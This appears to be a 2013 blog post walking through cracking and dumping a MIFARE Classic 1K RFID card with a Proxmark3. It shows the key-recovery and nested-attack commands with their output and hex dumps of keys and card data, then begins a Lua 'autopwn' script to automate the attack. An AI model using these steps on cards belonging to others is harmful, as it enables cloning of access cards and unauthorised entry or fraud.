In this post, I will go through the details about writing a Lua-script for the Proxmark device.
First, some background. In order to crack and dump a mifare classic, there are a number of steps involved:
First of all, hf 14a reader
reads some info about the card that is placed by the antenna.
proxmark3> hf 14a reader
ATQA : 04 00
UID : 92 c0 45 6b
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k
proprietary non iso14443a-4 card found, RATS not supported
proxmark3>
The information that is received from this is often required for later steps, especially the type (in this case that it is a 1K mifare classic).
The next step is to crack a key. Quite straightforward:
proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------
..........................
uid(92c0456b) nt(096f522a) par(b981d12931e9e9d1) ks(0d0b0e030f0e0f09)
|diff|{nr} |ks3|ks3^5|parity |
+----+--------+---+-----+---------------+
| 00 |00000000| d | 8 |1,0,0,1,1,1,0,1|
| 20 |00000020| b | e |1,0,0,0,0,0,0,1|
| 40 |00000040| e | b |1,0,0,0,1,0,1,1|
| 60 |00000060| 3 | 6 |1,0,0,1,0,1,0,0|
| 80 |00000080| f | a |1,0,0,0,1,1,0,0|
| a0 |000000a0| e | b |1,0,0,1,0,1,1,1|
| c0 |000000c0| f | a |1,0,0,1,0,1,1,1|
| e0 |000000e0| 9 | c |1,0,0,0,1,0,1,1|
key_count:1
------------------------------------------------------------------
Key found:ffffffffffff
Found valid key:ffffffffffff
This gives us the A-key to sector 0. Using this, we can proceed with a nested attack. Usage:
proxmark3> hf mf nested
Usage:
all sectors: hf mf nested <card memory> <block number> <key A/B> <key (12 hex symbols)> [t,d]
one sector: hf mf nested o <block number> <key A/B> <key (12 hex symbols)>
<target block number> <target key A/B> [t]
card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, <other> - 1K
t - transfer keys into emulator memory
d - write keys to binary file
sample1: hf mf nested 1 0 A FFFFFFFFFFFF
sample1: hf mf nested 1 0 A FFFFFFFFFFFF t
sample1: hf mf nested 1 0 A FFFFFFFFFFFF d
sample2: hf mf nested o 0 A FFFFFFFFFFFF 4 A
Since I am going to want to save the keys, I want to create a dump-file with the keys, implying the use of the d
switch. Also, I need to know the card type, which as revealed earlier was 1k - 1
as card memory
. Adding in the key that was extracted previously, I wind up with the following:
proxmark3> hf mf nested 1 0 A FFFFFFFFFFFF d
--block no:00 key type:00 key:ff ff ff ff ff ff etrans:0
Block shift=0
Testing known keys. Sector count=16
nested...
Time in nested: 20.000 (inf sec per key)
-----------------------------------------------
Iterations count: 0
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to bynary file dumpkeys.bin...
So, now we have the keys dumped:
#xxd dumpkeys.bin
0000000: ffff ffff ffff ffff ffff ffff ffff ffff ................
0000010: ffff ffff ffff ffff ffff ffff ffff ffff ................
0000020: ffff ffff ffff ffff ffff ffff ffff ffff ................
0000030: ffff ffff ffff ffff ffff ffff ffff ffff ................
0000040: ffff ffff ffff ffff ffff ffff ffff ffff ................
0000050: ffff ffff ffff ffff ffff ffff ffff ffff ................
0000060: ffff ffff ffff ffff ffff ffff ffff ffff ................
0000070: ffff ffff ffff ffff ffff ffff ffff ffff ................
0000080: ffff ffff ffff ffff ffff ffff ffff ffff ................
0000090: ffff ffff ffff ffff ffff ffff ffff ffff ................
00000a0: ffff ffff ffff ffff ffff ffff ffff ffff ................
00000b0: ffff ffff ffff ffff ffff ffff ffff ffff ................
Let’s also dump the card data. That is done via the hf mf dump
-command. A thing which I didn’t understand until I read the source code, was that this command reads the keys from dumpkeys.bin
.
proxmark3> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Dumped card data into 'dumpdata.bin'
#db# READ BLOCK FINISHED
Dumped card data into 'dumpdata.bin'
[...]
proxmark3>
So, now the complete dump (including keys) is within dumpdata.bin
#xxd dumpdata.bin
0000000: 92c0 456b 7c88 0400 c08e 1c96 4960 2612 ..Ek|.......I`&.
0000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000030: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000070: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000b0: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
00000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000f0: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000100: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000120: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000130: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000140: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000150: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000160: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000170: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000190: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001b0: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
00001c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001f0: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000200: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000210: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000220: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000230: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000250: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000260: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000270: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000280: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000290: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00002a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00002b0: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
00002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00002d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00002e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00002f0: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000310: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000320: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000330: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000340: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000360: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000370: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
0000380: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000390: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00003a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00003b0: ffff ffff ffff ff07 8069 ffff ffff ffff .........i......
00003c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00003d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00003e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00003f0: ffff ffff ffff ff07 80bc ffff ffff ffff ................
If we want a better picture, more like MLC, there’s a trick:
proxmark3> script run htmldump
--- Executing: ./scripts/htmldump.lua, args''
Wrote a HTML dump to the file 2013-10-04_204910.html
-----Finished
It gives a bit of syntax highlightning to the dump:
At this point, we have enough information that we don’t need the card anymore. We have the full dump, and can emulate it, analyze the contents etc.
Let’s make a script which automates this. I want to put the device in auto-pwn-mode, like this
Let’s start with a script-skeleton
Some points of interest:
This loads the getopt
library into the variable getopt
. A library is a lua-file placed within the client/lualibs/-folder. A library should not do anything when loaded, but, in the end, return a lua-table containing the functions that the library exposes. Much like a Javascript library (tangent: Javascript and Lua are very similar. They use the same kind of table-based object, using prototype-inheritance instead of classes. The biggest differences are syntax, exception handling and some peripherals, such as regexps - Lua regexps are a lot simpler than the PCRE-standard).
The main
function is not magic, it could be named anything. The script is just executed, so it is the call main(args)
which calls the main
. The args
is a global variable that was set from the C-side, and contains the arguments that was passed from the proxmark console when the script was invoked. It is good to use that convention, though, since in the future we may change that so the main
is invoked explicitly from the calling C-code.
So, let’s add some functionality. First of all, loop and wait for a iso 14443a-tag. The functionality to read the card info is already implemented in a library (I used it in the script to check keys), so we can start by importing that
Then define the loop:
Several things happen here. First of all, core.ukbhit
is a functionality implemented on the C-side and which has been exposed to the Lua-environment. There are a couple of those, and they are all available through the core
library.
The following are defined:
core.console('hf mf nested 1 0 a FFFFFFFFFFFF')
Lastly, we have two return values. Lua does not handle exceptions well, so the norm is to have one return value if all is well, and return nil + error message if something went wrong.
In our main function, we call it within a loop aswell, handling the possible return values. For now, I put a snippet to show the return values from the reader:
Adding in some logic to ignore already seen cards, we wind up with this:
For testing, I put it on and swiped to cards I had at hand:
proxmark3> script run mifare_autopwn
--- Executing: ./scripts/mifare_autopwn.lua, args''
uid = 92C0456B
atqa = 0400
name = NXP MIFARE CLASSIC 1k | Plus 2k
sak = 8
uid = 2A746F7F
atqa = 0400
name = NXP MIFARE CLASSIC 1k | Plus 2k
sak = 8
ERROR: Aborted by user
-----Finished
proxmark3>
Perfect! So the next step is to perform the hf mf mifare
. Unfortunately, I cannot just call it via the console - core.console('hf mf mifare')
since I need to obtain the key that is extracted - not just show it to the user. So, I’ll have to implement that within Lua instead.
I’ll get to that in part II.
2013-10-07